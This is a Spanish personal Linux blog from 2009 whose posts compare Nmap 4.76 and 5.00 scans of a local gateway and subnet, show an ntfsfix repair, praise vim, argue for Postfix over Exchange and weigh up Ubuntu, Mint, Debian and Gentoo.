root@alberto:/home/alberto# /usr/local/bin/nmap -V

Nmap version 5.00 ( http://nmap.org )


Ya podemos comenzar...

Escaneo gateway(nmap sin parámetros)

Resultados con la versión 4.76:

root@alberto:/# time /usr/bin/nmap -e eth0 100.100.100.100

Starting Nmap 4.76 ( http://nmap.org ) at 2009-08-19 13:37 CEST
Interesting ports on 100.100.100.100:
Not shown: 998 filtered ports
PORT STATE SERVICE
113/tcp closed auth
541/tcp open uucp-rlogin
MAC Address: 00:09:0F:37:F0:C6 (Fortinet)

Nmap done: 1 IP address (1 host up) scanned in 4.18 seconds

real 0m4.194s
user 0m0.236s
sys 0m0.036s

Resultados con la versión 5.00:
root@alberto:/# time nmap -e eth0 100.100.100.100

Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-19 13:36 CEST
Interesting ports on 100.100.100.100:
Not shown: 998 filtered ports
PORT STATE SERVICE
113/tcp closed auth
541/tcp open uucp-rlogin
MAC Address: 00:09:0F:37:F0:C6 (Fortinet)

Nmap done: 1 IP address (1 host up) scanned in 4.95 seconds

real 0m4.956s
user 0m0.224s
sys 0m0.032s

Llama la atención que la versión 5.00 ha tardado 0,77 segundos más que la 4.76. En principio la 4.76 se anotaría el primer punto. Personalmente creo que no, ya lo explicaré más adelante.Vemos que ha identificado bien el modelo del gateway y poco más podemos extraer(si buscarle los tres pies al gato, claro).

Escaneo Sistema Operativo del gateway (nmap -O)
Resultados con la versión 4.76:

root@alberto:/# time /usr/bin/nmap -e eth0 -O 100.100.100.100

Starting Nmap 4.76 ( http://nmap.org ) at 2009-08-19 13:38 CEST
Insufficient responses for TCP sequencing (2), OS detection may be less accurate
Interesting ports on 100.100.100.100:
Not shown: 998 filtered ports
PORT STATE SERVICE
113/tcp closed auth
541/tcp open uucp-rlogin
MAC Address: 00:09:0F:37:F0:C6 (Fortinet)
Aggressive OS guesses: Check Point ZoneAlarm Z100G firewall (88%), Actiontec GT701 DSL modem (87%), HP Brocade 4100 switch; or Actiontec MI-424-WR, Linksys WRVS4400N, or Netgear WNR834B wireless broadband router (87%), F5 BIG-IP Local Traffic Manager load balancer (87%), HP 4200 PSA (Print Server Appliance) model J4117A (87%), DD-WRT v23 (Linux 2.4.34) (87%), MontaVista Linux 2.4.17 (87%), Telkom Mega 100 WR DSL modem (Linux 2.4.17_mvl21-malta-mips_fp_le) (87%), FreeBSD 6.2-RELEASE (87%), OpenBSD 4.3 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.96 seconds

real 0m8.979s
user 0m0.388s
sys 0m0.064s


Resultados con la versión 5.00

root@alberto:/# time /usr/local/bin/nmap -e eth0 -O 100.100.100.100

Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-19 13:38 CEST
Interesting ports on 100.100.100.100:
Not shown: 998 filtered ports
PORT STATE SERVICE
113/tcp closed auth
541/tcp open uucp-rlogin
MAC Address: 00:09:0F:37:F0:C6 (Fortinet)
Device type: firewall
Running: Fortinet embedded
OS details: Fortinet FortiGate-100A firewall
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.30 seconds

real 0m6.319s
user 0m0.432s
sys 0m0.104s


Primer punto para la versión 5.00. En realidad, a mi modo de ver, este vale por dos. 2,66 segundos menos en detectar la versión del S.O! Aún encima la ha clavado:

OS details: Fortinet FortiGate-100A firewall

Esto no es mérito sólo de Fyodor(programador principal del proyecto), sino de la gente que se ha currado libpcap. Libpcap es una librería que capturar paquetes en redes de datos para plataformas tipo Unix(también en Sistemas Windows). La versión de esta librería en nmap 4.76 es la 0.8:

root@alberto:/tmp# ldd /usr/bin/nmap
linux-gate.so.1 => (0xb80dd000)
libpcre.so.3 => /lib/libpcre.so.3 (0xb8097000)
libpcap.so.0.8 => /usr/lib/libpcap.so.0.8 (0xb8066000)
libssl.so.0.9.8 => /lib/i686/cmov/libssl.so.0.9.8 (0xb801e000)
libcrypto.so.0.9.8 => /lib/i686/cmov/libcrypto.so.0.9.8 (0xb7ed2000)
libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0xb7ece000)
libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0xb7ddf000)
libm.so.6 => /lib/tls/i686/cmov/libm.so.6 (0xb7db9000)
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0xb7da9000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7c46000)
libz.so.1 => /lib/libz.so.1 (0xb7c30000)
/lib/ld-linux.so.2 (0xb80de000)

, mientras que en la versión de nmap 5.00 es la 0.97:

root@alberto:/media/bodega/misc/nmap-5.00/libpcap# cat CHANGES |head
@(#) $Header: /tcpdump/master/libpcap/CHANGES,v 1.59.2.11 2007/07/24 02:27:32 mcr Exp $ (LBL)

Wed. July 23, 2007. mcr@xelerance.com. Summary for 0.9.7 libpcap release
(...)

Es de suponer que las mejoras, a parte de los bug-fix, son considerables. Enhorabuena a la gente de TCPDUMP.

Escaneo S.O y versión del software del gateway (nmap -A -T4)
Resultados con la versión 4.76:

root@alberto:/# time /usr/bin/nmap -e eth0 -sP 100.100.100.0/24

Starting Nmap 4.76 ( http://nmap.org ) at 2009-08-19 13:43 CEST
Host 100.100.100.5 appears to be up.
MAC Address: 00:09:0F:37:F0:C6 (Fortinet)
Host 100.100.100.12 appears to be up.
MAC Address: 00:50:56:A9:4D:AB (VMWare)
Host 100.100.100.19 appears to be up.
MAC Address: 00:0B:CD:1B:85:4D (Sun)
Host 100.100.100.61 appears to be up.
MAC Address: 00:50:AA:20:61:83 (Konica Minolta Holdings)
Host 100.100.100.64 appears to be up.
MAC Address: 00:00:74:93:DA:76 (Ricoh Company)
Host 100.100.100.118 appears to be up.
MAC Address: 00:33:64:B9:8A:C8 (Sun)
Host 100.100.100.153 appears to be up.
MAC Address: 00:50:56:A9:59:98 (VMWare)
Host 100.100.100.202 appears to be up.
MAC Address: 00:33:64:B9:9A:E9 (Unknow)
Host 100.100.100.204 appears to be up.
MAC Address: 00:33:64:B9:96:96 (Unknow)
Host 100.100.100.212 appears to be up.
MAC Address: 00:33:64:B9:94:1A (Unknow)
Host 100.100.100.214 appears to be up.
MAC Address: 00:33:64:B9:9A:E8 (Unknow)
Host 100.100.100.225 appears to be up.
MAC Address: 00:33:64:B9:91:91 (Unknow)
Host 100.100.100.239 appears to be up.
MAC Address: 00:50:56:A9:1A:B8 (VMWare)
Nmap done: 256 IP addresses (13 hosts up) scanned in 12.07 seconds

real 0m12.087s
user 0m0.212s
sys 0m0.016s

Resultados versión 5.00:

root@alberto:/# time /usr/local/bin/nmap -e eth0 -sP 100.100.100.0/24

Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-19 13:43 CEST
Host 100.100.100.5 is up (0.00033s latency).
MAC Address: 00:09:0F:37:F0:C6 (Fortinet)
Host 100.100.100.12 is up (0.00054s latency).
MAC Address: 00:50:56:A9:4D:AB (VMWare)
Host 100.100.100.19 is up (0.00023s latency).
MAC Address: 00:0B:CD:1B:85:4D (Hewlett Packard)
Host 100.100.100.61 is up (0.0090s latency).
MAC Address: 00:50:AA:20:61:83 (Konica Minolta Holdings)
Host 100.100.100.64 is up (0.00041s latency).
MAC Address: 00:00:74:93:DA:76 (Ricoh Company)
Host 100.100.100.118 is up (0.00022s latency).
MAC Address: 00:33:64:B9:8A:C8 (Hewlett Packard)
Host 100.100.100.153 is up (0.00056s latency).
MAC Address: 00:50:56:A9:59:98 (VMWare)
Host 100.100.100.202 is up (0.00028s latency).
MAC Address: 00:33:64:B9:9A:E9 (Hewlett Packard)
Host 100.100.100.204 is up (0.00023s latency).
MAC Address: 00:33:64:B9:96:96 (Hewlett Packard)
Host 100.100.100.212 is up (0.00018s latency).
MAC Address: 00:33:64:B9:94:1A (Hewlett Packard)
Host 100.100.100.214 is up (0.00017s latency).
MAC Address: 00:33:64:B9:9A:E8 (Hewlett Packard)
Host 100.100.100.225 is up (0.00025s latency).
MAC Address: 00:33:64:B9:91:91 (Hewlett Packard)
Host 100.100.100.239 is up (0.0097s latency).
MAC Address: 00:50:56:A9:1A:B8 (VMWare)
Nmap done: 256 IP addresses (13 hosts up) scanned in 12.40 seconds

real 0m12.401s
user 0m0.140s
sys 0m0.008s


Apenas 0,37 segundos más a tardado la versión 5.00 en realizar el escaneo. Sí ha dado en el clavo.La mayoría de las máquinas son HP, y no Unknow con no "dice" la versión 4.76.

Resumiendo, me quedo con la versión 5.00. Usar repositorios, a veces, es lo que tiene, puedes seguir con una versión obsoleta de un software, que aparentemente funciona bien, tiempo y tiempo. Todos(o casi todos) sabemos, conocemos o hemos oído hablar de las ramas experimentales en Debian; pero nunca tendremos software "tan fresco" como si lo descargamos y compilamos de la web de los desarrolladores. Bondades y maldades del software libre.

lunes, 17 de agosto de 2009

Mis Feeds

He actualizado mis feeds. Si os interesa podéis descargarlos de esta URL.

miércoles, 12 de agosto de 2009

Pendrives y NTFS

Aún no sé bien por qué uso NTFS como sistema de ficheros en mis pendrives. En Mac OSX tengo soporte para EXT3; entonces, no debería utilizarlo. Supongo que será por si tengo que llevar algún documento a la copistería, o intercambiar ficheros con lusers. El caso es que un pendrive que uso a menudo, al intentar montarlo en Debian GNU/Linux o Ubuntu, Gnome me invita amablemente a que lo inserte en una máquina Windows y ejecute el famoso chkdsk(Checkdisk). Cómo no me parecía una solución demasiado ética, por cuestiones obvias, me puse a buscar información y encontre la herramienta ntfsfix. No estoy seguro, pero supongo que esta herramienta forma parte de ntfsprogs. Como dice en su página del manual, ntfsfix corrige errores comunes en NTFS, pero no es una versión para Linux de chkdsk. Sólo repara inconsistencias.
Ejemplo de uso:

root@alberto:/home/alberto# ntfsfix /dev/sdf1
Mounting volume... FAILED
Attempting to correct errors...
Processing $MFT and $MFTMirr...
Reading $MFT... OK
Reading $MFTMirr... OK
Comparing $MFTMirr to $MFT... FAILED
Correcting differences in $MFTMirr record 0...OK
Processing of $MFT and $MFTMirr completed successfully.
Setting required flags on partition... OK
Going to empty the journal ($LogFile)... OK
NTFS volume version is 3.1.
NTFS partition /dev/sdf1 was processed successfully.


Por cierto, sí forma parte de ntfsprogs, al final de la página del manual indica: ntfsfix is part of the ntfsprogs package(...)

martes, 11 de agosto de 2009

vim

Al principio fue la línea de comandos...y usaba vi. Me parecía un coñazo, "Demasiado complicado", me decía a mí mismo. Recuerdo que en un intento frustado de cursar el LPI, en el 2001, me presentaron a Nano; no a Nano el compañero de Bilo, sin al editor. Me parecía fácil de usar.Hasta hace un año, cuando me preguntaba qué editor usaba en el terminal, respondía "Nano", y muchos "talibanes" se llevaban las manos a la cabeza, y con más "desprecio que razón" exclamaban "Pero si eso es para nenazas, no conoces vi", "Sí.",respondía,"pero Nano me parece sencillo y cumple todas(las pocas) funciones que necesito." Después de este largo caminar por el Lado Oscuro de los editores, hace un año, he vuelto a vi, mejor dicho a vim. La razón principal, pese a tener una curva de aprendizaje más elevada, en mi opinión,es un editor más completo que Nano. Me gusta mucho, por ejemplo, que puedas ejecutar comandos directamente en el editor(desconozco si Nano lo hace); o lo bien que funciona con expresiones regulares. Esta mañana he visitado la web de vim(versión mejorada de vi), la entrada de la Wikipedia. He encontrado una Guía de Referencia Rápida en castellano, recomendada para los osados que quieran dejar el Lado Oscuro de los editores...

lunes, 10 de agosto de 2009

De vuelta...

Después de 15 días de vacaciones, estoy de vuelta en Compostela. Sin lugar a dudas me ha venido bien el descanso, aunque apenas me he separado del portátil. La conexión 3G cunde mucho, sobre todo si te desplazas: me he conectado desde Compostela,Mugardos,Ponferrada,Santander... y me ha servido para estar al día, revisar correo y demás. Dentro de un mes volveré a estar de nuevo ocioso, 6 días, los últimos del año ya, pero pensando más que nada en la VI Edición del Kernel 2009.

Sé que no he escrito mucho durante los últimos dos meses, y anoto en mi mente ponerme al día con el blog...que pronto cumplirá dos años, y sería una pena perder la buena y sana costumbre de escribir. Sí tengo cosas interesantes que decir y contar. Ayer de noche, repasaba un número atrasado de Todo Linux, y leí de la existencia de un paquete llamado libtrash, que es la Papelera de Reciclaje, pero para la consola. Hoy por la mañana, tenía pensado escribir algo sobre este paquete, pero he encontrado en la red cosas tan interesantes como esta.
Otra perla con la que me he topado esta mañana ,es un libro : "Implementación de Servidores GNU/Linux" , de Joel Barrios, un clásico entre los clásicos, siempre presente en cualquier documentación o manual sobre GNU/Linux.Se puede descargar una copia en esta URL.
De momento, esto es todo!

lunes, 3 de agosto de 2009

Reflexiones, DMZs, Postfix y libertad...

Este post es una respuesta a un email que me ha enviado un amigo las semana pasada. Muchas líneas son opiniones personales,otras reflexiones sobre lecturas
recientes, otras...
Reflexiones, DMZs, Postfix y libertad...
Con la poca información que me has dado, me atrevo, ya sabes que la ignorancia tiene la virtud del atrevimiento, a dividir las cuestiones que formulas en dos partes: la primera, a la que denominaré "Eliminar y exponer", y la segunda, “Razones rápidas por las que no implementar Exchange”.

Eliminar y Exponer

Resulta curioso, pero sería yo quien formularía la pregunta ¿Por qué eliminarlos? ¿Rendimiento? ¿Mal o pésimo funcionamiento? ¿Mantenimiento? ¿Coste? Si la única pregunta que en este contexto tiene sentido es la última, tienes un problema; si dudan en alguna de las anteriores, si son personas sensatas, por lo menos vamos a intentarlo.

En primer lugar, y dejando a un lado si el S.O de la máquina que hace relay es GNU/Linux o no, personalmente jamás expondría una maquina corriendo Microsoft Windows a Internet, pudiendo evitarlo. Es más, jamas expondría una máquina a Internet pudiendo evitarlo, en todo caso, para eso se diseñan las DMZs, y máxime si la solución alternativa es una o varias máquinas corriendo algún sabor UNIX y con alguna licencia libre y gratuíta. Los motivos a continuación:
Estabilidad: El diseño de un S.O Unix/Linux dista años luz de un S.O Microsoft. Unix es C, C es robuztez y estabilidad. Unix es un conjunto de aplicaciones pequeñas y simples, que cumplen una sola función y lo hacen bien, por ejemplo iptables o fetchmail. Microsoft Windows, sin embargo está y por lo que se deduce, estará, encadenado a ficheros .exe y actualizaciones dependientes del trabajo de un único grupo de programadores asalariados. Es cierto que con los “Boletines del Segundo Martes” intentan acercarse al ritmo de desarrollo y corrección de bugs de S.O GNU/Linux tipo Debian o Red Hat, o BSD como FreeBSD, todo indica a que su trabajo está orientado a un simple Service Pack cada X meses o años.


Mantenimiento: Una maquina Unix requiere de unos conocimientos mínimos de Administración para que las funciones que realice, las haga bien. Una vez configurada, pueden pasar años hasta que requiera un mantenimiento que se aleje del típico de la actualización de software y parches de seguridad. En multitud de ocasiones, una máquina Unix mal configurada por un/unos Administradores con conocimientos escasos del software con el que están trabajando, puede dar la impresión de necesitar más tareas o tiempo de mantenimiento que una máquina corriendo Microsoft Windows: nada más lejos de la realidad. Visite netcraft.com y o top500.org y podrá comprobar que tienen en común el 88% de los 500 computadores más “potentes” del momento: un S.O Linux. ¿Casualidad? No creo que DELL, NASA se basen en casuísticas para el elegir el S.O de sus Servidores.
Seguridad: Partiendo de la base de que ningún S.O es seguro si está conectado a una red de computadores, me gustaría hacer incapié que el concepto de Seguridad Informática es un proceso continuo y lineal, en contraposición a una series de medidas puntuales, como por ejemplo, añadir una cadena -j DROP a iptables para que “impedir que megano haga pings a fulano”. En palabras de J.Pérez Agudín “La seguridad ha de ser entendida como un equilibrio, la inversión en seguridad ha de estar a la altura de la importancia de la información a proteger”. Volviendo al eterno dilema de por qué Linux es más seguro que Microsoft Windows, me gustaría comentar:
Desarrollo continuo: la comunidad de desarrolladores trabaja a diario publicando parches y liberando nuevas versiones. No hay necesidad de esperar a que una empresa considere oportuno “vender” un nuevo producto para tener software actualizado.
Mejor diseño de S.O de base. Nos referimos en la práctica, a que por ejemplo, ante una vulnerabilidad en Postfix, si un usuario pudiese supuestamente tomar el control de la máquina, sólo lo haría con el usuario con el que se ejecute el proceso, es lo que se conoce como CHROOT o jaulas de usuario. En Microsoft Windows también es posible, pero no se ejecutan por defecto todos los procesos con usuarios diferentes.
Diversidad de Entornos: El núcleo de Windows Server es el mismo para las distintas versiones, por lo que en la práctica resulta muy sencillo aplicar un exploit a dichas versiones. Sin embargo, dada la diversidad de versiones, tanto de BSD como de Linux, un exploit en Fetchmail puede causar distintos daños o nulos dependiendo del entorno, fundamentalmente en versiones del Kernel y del software de las herramientas de seguridad configuradas en la (SELinux o AppArmor de Novell).


Dejando a un lado la disyuntiva Windows vs Unix, me gustaría dedicar unas líneas a comentar el supuesto caso de exponer una máquina a la red Internet. ¿Se puede evitar ? A mi modo de ver, la respuesta es : Sí. Un sí rotundo. En este caso concreto hablamos de una máquina que recibirá el correo directamente desde los servidores SMTP del remitente. Se presupone que el nuevo (re)diseño de la arquitectura de red resultante debe como mínimo superar las prestaciones del anterior, prestando atención, a mi modo de ver, a los siguientes puntos.

Ancho de Banda: En ningún caso, en mi opinión , se debería conectar una maquina que sirva SMTP a una línea convencional, tipo ADSL o Cable, al tratarse de líneas asíncronas no se garantiza en ningún momento un caudal mínimo, que garantice un servicio fiable. Mi recomendación son líneas simétricas de datos , SHDSL o similares.
Direccionamiento: Se presuponen unos requisitos mínimos en la calidad del servicio de la nueva instalación. El direccionamiento Ipv4 de los actuales ISP deja mucho que desear. Compruebe una dirección IP al azar de la red 0.Red-217-127-182.staticIP.rima-tde.net, podrá comprobar como “se mezclan” en el pool de direcciones tanto direcciones públicas para usuarios domésticos como usuarios de perfil empresarial. ¿ Cree realmente que este rango estará totalmente limpio en listas RBL? Mi opinión es que no.

Mantenimiento: Imagine que en un momento dado, su router cabecera, el que envía los paquetes al Firewall para que los procese y los enrute hacia su máquina de correo, recibe del orden de 15.000 correos por minuto. ¿Qué haría en este supuesto? ¿ Dispone de los activos de red necesarios para bloquear automáticamente este tráfico? ¿ Dispone de los recursos humanos necesarios para solucionar esta incidencia? En mi opinión, a no ser que el número de usuarios superase los miles(4.000 usuarios por ejemplo), confiaría la recepción del correo electrónico a un proveedor de Hosting: Arsys, Dinahosting, 1&1...etc. A menudo, estas empresas gestionan sus propios Sistemas Autónomos

“Razones rápidas por las que no implementar Exchange”.
“Exclavitud empresarial”. Si se utilizan aplicaciones liberadas bajo estándares abiertos, las actualizaciones y parches de seguridad las tendrá disponibles de forma libre y gratuíta. Por el contrario si elige Exchange Server, Microsoft Corporation no le garantizará bajo ningún concepto la frecuencia de actualizaciones, ni mucho menos, el código fuente de la aplicación. No sólo para poder modificar el código, sino para poder compilarlo específicamente para su arquitectura y “sacar” el verdadero rendimiento de la aplicación que elija como su software de Servidor SMTP.
Económicas. Impensable pagar por las diferentes versiones de una aplicación. Es más, Postfix por ejemplo, sólo libera una versión de su aplicación; virtud o defecto. Mi opinión es que es una virtud; que combina flexibilidad, al poder adaptarse tanto grandes despliegues, como a pequeños componentes de hardware, tipo routers o access points.

Seguridad. Postfix, por ejemplo, lo ha desarrollado Wietse Venema, autor de herramientas como los TCP Wrappers o el Coroner Toolkit. Es un reputado experto en seguridad informática y eso , como mínimo es una garantía de calidad. Que Red Hat, IBM o Debian GNU/Linux incluyan Posftix en su cojunto de paquetes quiere decir algo, no cree? ¿Conoce algún sistema de Bugtraq? Visite securityfocus y podrá comprobar que Exchange tiene más de 1800 reportes de errores, en contraposición a los 220 de Postfix. Si ha todo esto sumamos que Posftix, o Qmail o Sendmail o Exim corren perfectamente en GNU/Linux, Mac OS X o diversos sabores de *BSD ¿ Duda de Posftix o software similar no es seguro?.
Flexibilidad. Combinar Postfix con Spamassassin o ClamAV es un ejemplo de flexibilidad. Empresas como este o Kaspersky han desarrollado versiones específicas de sus productos.¿Cree realmente que si este producto no tuviese la calidad suficiente, estas empresas habrían desarrollado versiones para GNU/Linux o BSD?
Estándares: Unos de las características fundamentales en el desarrollo de aplicaciones libres es el cumplimiento, estricto en la mayoría de las ocasiones, de estándares de programación y comunicaciones.
Virus. Hablar de correos electrónicos es hablar de virus. Una máquina Unix no se bloqueará por que el virus X se adjunte al correo Y.


Alberto Permuy Leal
Agosto 2009

miércoles, 22 de julio de 2009

Respuesta a por qué Mint y no Ubuntu...

En primer lugar, dar las gracias al Anónimo que ha respondido al post publicado ayer. Sin ánimo de crear polémicas, respondo:

"Si ahora utilizo debian lenny es sin duda gracias(...)"

Discrepo; Ubuntu en sus inicios carecía de instalador gráfico,usaba el de Debian GNU/Linux; ahora mismo no tengo datos, pero no me parecería nada raro que la gente de Ubuntu utilizase una versión volatile del instalador de Debian GNU/Linux.

"De ubuntu no me gusto eso de tener que(...)"

Totalmente de acuerdo en lo que comentas acerca de LTS, sin embargo, no considero que la publicidad gratuíta sea algo que envidien las distribuciones; y aunque si es algo deseable, en mi opinión, temas como la estabilidad, accesibilidad, seguridad y simplicidad están por delante. Crees que una de las primeras distribuciones GNU/Linux, como es Debian GNU/Linux en este caso,cuya primera versión se liberó en agosto de 1993(hace 16 años!), necesita más o mejor publicidad que estos 16 años; es probable, pero no creo que el proyecto Debian GNU/Linux tenga como un objetivo principal "publicitarse".


"Respecto a lo que dices de la comunidad ubuntu(...)"
Quizá no me he explicado bien. Mi intención no es menospreciar a nadie, pero considero que la información y documentación de GNU/Linux no se resuelve en foros. Existen de hace muchos años, proyectos de documentación, como por ejemplo The Linux Documentation Project, o TLDP-ES/LuCAS. Las listas de correo resuelve, en la mayoría de los casos, problemas que nunca o con muy pocas probabilidades solucionaras en un foro.Quiero pensar que por falta de tiempo, o por lo poco amigable(no quiero decir accesible) de su web, aún no has visitado www.debian.org. Sabías que en esta web, relativo a documentación, puedes encontrar:
.- Guía de Instalación.(http://www.es.debian.org/releases/stable/installmanual) Para las 11 arquitecturas para las que Debian GNU/Linux tiene soporte, para idiomas tales como: inglés, español, koreano, japonés...actualizadas muchas de ellas a 2008 y 2009.
.-Preguntas de Uso Frecuente, actualizadas a 26 de Junio de 2008.
.-Guía de Referencia, idem que la anterior.
.-Notas de Publicación.Nada que añadir
.-Wiki de Debian.Se puede mejorar, pero tratan temas relativos a : Introducción rápida, Instalación,Administración,Servicios de Red.
.-Tarjetas de Referencias Rápida.¿Has descargado alguna vez una? Te recomiendo este enlace(http://xinocat.com/refcard/refcard-es-a4.pdf)
.-Guía de Referencia para el nuevo Desarrollador.Actualizado en 2007.
.-Debian Developer's Reference.Actualizado en 2007.

Además pueden encontrar mucho manuales y How to's.

"Lo de que el kernel viene supermodulado(...)"
De acuerdo contigo, tengo una optica distinta a la tuya. Comentas que "tiene que instalar a la primera como Windows". A mi no me gustan los imperativos, en todo caso, en mi opinión podríamos comentar "Como Microsoft Windows, cuando no tienes problemas con el hardware, debido a su pobre diseño, se suele instalar a la primera, los desarrolladores de distribuciones Linux o GNU/Linux, deberían cuidar los instaladores cuando liberen sus distribuciones.". Creo que el gran mérito(uno de ellos) de distribuciones GNU/Linux ha sido, entre otros, acercar Unix a la gente; falta mucho aún para llegar a un entorno equitativo entre usabilidad-facilidad-estabilidad, pero si tienes oportunidad, pregúntale a Tanenbaum o Ritchie qué le parecen los instaladores de las distribuciones Linux o GNU/Linux actuales. Un Sistema Operativo Unix-Linux-*BSD no es un juguete, es un Sistema Operativo, y funciona.Microsoft Windows, no lo es, desde el momento que necesita un antivirus para ¿funcionar?, carece de sentido llamarle así. La gente debe saber que para todo en la vida, existe una curva de aprendizaje,de conocimiento y de conceptos; el falso conocimiento se aprende con productos Microsoft a base de doble-clics y service packs.Personalmente prefiero el conocimiento por asimilación que por repetición, y tú?

"De otro lado, más que ubuntu tenga que reconocer el mérito de debian(...)"
Sinceramente este tipo de comentarios me hacen reflexionar y eso me gusta. Gracias, pero no estoy de acuerdo. Repito, un proyecto que lleva vivo 16 años, soporta 11 arquitecturas, con una comunidad sin ánimo de lucro detrás...si tuviese algo que agradecer, en primer lugar lo haría hacia su comunidad.Creo recordar que Ubuntu está basada en Debian GNU/Linux, insisto en GNU/Linux por que en ningún punto de respuesta citas GNU(con)Linux. Ubuntu debería dar las gracias a Debian GNU/Linux por:
.- Por ser libre y gratuíta.
.- Por su sistema de paquetes.
.- Por su documentación.
.- Por la calidad de su software, ligada directamente a la seguridad.
.- Por ser GNU/Linux.
.- Por su Contrato Social.[Ver]
.- Por su futuro, al no estar encadenada a una empresa o entidad.
.- Por hacer el trabajo duro: coordinar,programar,liberar,documentar...

"Y puestos a recomendar distros,(...)"

Y puestos a recomendar distro, te recomendaría Gentoo Linux.

Y con esto termino, si algún día te acercas por SCQ, tomamos un café, charlamos y pulimos diferencias...

martes, 21 de julio de 2009

¿Por qué Mint y no Ubuntu?

Dificil pregunta y difícil respuesta. En primer lugar me gustaría comentar que pese a mi posición la mayoría de las veces anti-Ubuntu, no dejo de reconocer el gran trabajo que han estado realizando desde 2004 la gente de Canonical.

Uso Ubuntu desde 2004, desde la versión 4.10. He trabajado con ella durante tiempo y me parece una gran distribución. Personalmente considero positivo del proyecto Ubuntu los siguientes puntos:
  • Acercamiento del S.O con kernel de Linux al público en general.
  • Han acertado escogiendo como base el proyecto Debian GNU/Linux.
  • Han acertado escogiendo GNOME como entorno de escritorio.
  • Han echo fácil lo difícil: que esta dificultad no sea un impedimento para usar un Sistema Operativo con kernel Linux.
No me gusta de Ubuntu:
  • Ubuntu debe a Debian GNU/Linux, a sus desarrolladores y a su comunidad lo que es hoy. Apenas reconocen este punto y personalmente me parece una falta de respeto.
  • Ubuntu carece un sistema de ramas de desarrollo "potente" , como de Debian(stable,testing,unstable,volatile...etc)
  • Muchos de los paquetes de Debian no están ni estarán ni de broma en Ubuntu. Uso Ubuntu en mi macbook y mi lista de repositorios está repleta de lineas que contienen ftp.es.debian.org/debian unstable...
  • La Comunidad. No me gusta que cualquier tipejo/a postee como solución a un problema "Reinstala la distribución y entras en Sistema...". Basta con echar un vistazo al los foros de ubuntu-es : ! Penoso !
  • Kernel. No me gusta que el kernel de Ubuntu se instale supra-modulado. Hay gente que piensa que si a la primera(entorno gráfico y tal) no funciona y/o detecta hardware, éste no funcionará. Amigos, esto no es Windows, están ante un Sistema Unix-Like, si de verdad quieren que funcione: estudien,lean,razonen y luego instalen; así se hacen las cosas, por lo menos en mi pueblo.
  • Ubuntu depende de una empresa.Recientemente, en las VI Xornadas de SwLibre de Mugardos, Rubén, del Proyecto Trisquel comentaba lo siguiente(más o menos). Que una distribución dependa de una empresa tienes su lado negativo: el dinero. La finalidad de una empresa es conseguir, facturar o "producir dinero". Qué sucederá cuando Mark Shuttleworth se aburra de dar dinero al proyecto? Estamos seguros de que todos los programadores asalariados(= trabajan por dinero) seguirán en el proyecto si en algún momento hay problemas de financiación?Debian GNU/Linux sin embargo, es una comunidad, sin ninguna empresa detrás. Vale HP y Google aportan dinero, pero el núcleo del proyecto no tiene implicaciones empresariales directas. Por otra parte, si le damos la vuelta a la tortilla tenemos Red Hat. No me vale. Red Hat "ha parido" su propia distro; ha parido Anaconda, ha parido miles de paquetes... Con el paso del tiempo ha dividido su proyecto y líneas de negoicio en RHEL y Fedora. Ambas de gran calidad, sobre todo Fedora. Red Hat es una referencia. Ubuntu de momento aún aspira a eso.El tiempo lo dirá.
¿Hacemos justicia? Últimamente es un bien escaso, por eso me gustaría reconocer el gran trabajo de la gente del Proyecto Mint, una distribución basada en Ubuntu, que tiene como lema "producir un escritorio elegante de GNU/Linux". No se han dedicado ha usar Reconstructor y lanzar "un nuevo sistema operativo", si no que han echo esto. Hagamos justicia con Trisquel GNU/Linux. Hagamos justicia con Gentoo Linux. Hagamos justicia con Fedora.Hagamos justicia con Slackware. ¿Qué hace mejor Mint que Ubuntu? Muchas cosas, pero principalmente eso, ser Mint. Abrirnos los ojos a un mundo fuera de Ubuntu. Salgamos del Matrix en el que nos hemos(yo incluído) encerrado con Ubuntu y démosle una oportunidad a la libertad.
Salud!

lunes, 13 de julio de 2009

Me gusta Gentoo



A menudo suelo aventurarme a la hora de dar mi opinión acerca de software y demás, pero en este caso creo que no. Conozco Gentoo de 2004 aproximadamente, desde el final de mi primera etapa Compostelana, hace ya más de 6 años. Cuando digo conozco, evidentemente no es en profundidad ni mucho menos.
Recuerdo que lo que leía siempre eran maravillas, como que sí "es una distribución que vuela..", "por y para geeks...". En 2006 conocí por casualidades de la vida a Andrés en el III CibernEncontro Kernel 2006 y la ví funcionar en un portátil Toshiba. La verdad es que como por aquel entonces comenzaba a alucinar con Debian, difícilmente sacaría tiempo para profundizar en paralelo en otra distribución GNU/Linux. Llegó VirtualBox y la cosa cambió. No sólo eso. Ahora se puede decir que tengo 2 máquinas estables: el sobremesa(clónico) y el macbook. El Macbook lo uso principalmente los fines de semana, cuando marcho a Mugardos. Llevo ya 14 meses con él y estoy encantado, tanto con MacOSX como con su rendimiento con distribuciones GNU/Linux. He probado Debian y Linux Mint; y ahora mismo desde hace un par de meses Ubuntu 9.04.
En casa, con el sobremesa, el AMDX2 Dual Core y los 8GB de RAM ayudan muchísimo para jugar con máquinas virtuales. En este mismo instante, tengo una Gentoo compilando vi y Debian como anfitrión y esto ni se entera. Al grano.

No me gusta de Gentoo:
  • Ausencia de instalador: Es un poco "coñazo" la instalación. Sí, muy geek, montándote todo a pelo y tal, pero en un entorno corporativo, será igual? Espero respuesta.
  • Tiempo instalación paquetes: Para instalar un paquetes debes "esperar" a que termine la compilación.
  • Compilar el Kernel: A efectos de aprendizaje es muy positivo que tengas que compilar el kernel, pero si necesitas una instalación rápida...Por no mencionar si te olvidas de dar soporte a un módulo, como por ejemplo el soporte de red.
Me gusta de Gentoo:
  • Aprendizaje: Realmente con Gentoo aprendes cosas. Al no tener instalador, conceptos con Gestor de Arranque,Particionado de Discos,Kernel...te quedan mucho más claros.
  • Optimización : Una bala, Gentoo es una bala. Como comentaba en el punto anterior, puede ser un punto en contra, pero a menudo es punto a favor. El rendimiento de la máquina aumenta considerablemente.
  • Portage: El gestor de paquetes es una maravilla.
